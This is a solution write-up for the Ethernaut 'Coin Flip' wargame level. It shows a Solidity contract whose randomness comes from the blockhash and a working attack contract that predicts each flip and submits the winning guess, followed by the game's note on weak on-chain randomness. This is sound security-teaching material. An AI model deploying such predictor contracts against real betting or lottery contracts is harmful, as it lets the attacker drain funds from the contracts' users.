Ethernaut-solution 3. CoinFlip
Ethernaut-solution
3.Coin Flip
*Filiping => used for emphasis or to express mild annoyance.
*consective => following each other continuously.
This is a coin flipping game where you need to build up your winning streak by guessing the outcome of a coin flip. To complete this level you'll need to use your psychic abilities to guess the correct outcome 10 times in a row.
Things that might help
See the Help page above, section "Beyond the console"
/CoinFlip.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import '@openzeppelin/contracts/math/SafeMath.sol';
contract CoinFlip {
using SafeMath for uint256;
uint256 public consecutiveWins;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
constructor() public {
consecutiveWins = 0;
}
//[global function and global variable](https://docs.soliditylang.org/en/latest/units-and-global-variables.html?highlight=block#block-and-transaction-properties)
function flip(bool _guess) public returns (bool) {
uint256 blockValue = uint256(blockhash(block.number.sub(1)));
if (lastHash == blockValue) {
revert();
}
lastHash = blockValue;
uint256 coinFlip = blockValue.div(FACTOR);
bool side = coinFlip == 1 ? true : false;
if (side == _guess) {
consecutiveWins++;
return true;
} else {
consecutiveWins = 0;
return false;
}
}
}
/CoinFlipAttack.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./CoinFlip.sol";
contract CoinFlipAttack {
CoinFlip public victimContract;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
constructor(address _victimContractAddr) public {
victimContract = CoinFlip(_victimContractAddr);
}
function flip() public returns (bool) {
uint256 blockValue = uint256(blockhash(block.number - 1));
uint256 coinFlip = uint256(blockValue/FACTOR);
bool side = coinFlip == 1 ? true : false;
victimContract.flip(side);
}
}
Level completed!
Difficulty 3/10
Generating random numbers in solidity can be tricky. There currently isn't a native way to generate them, and everything you use in smart contracts is publicly visible, including the local variables and state variables marked as private. Miners also have control over things like blockhashes, timestamps, and whether to include certain transactions - which allows them to bias these values in their favor.
To get cryptographically proven random numbers, you can use Chainlink VRF, which uses an oracle, the LINK token, and an on-chain contract to verify that the number is truly random.
Some other options include using Bitcoin block headers (verified through BTC Relay), RANDAO, or Oraclize).
Discussion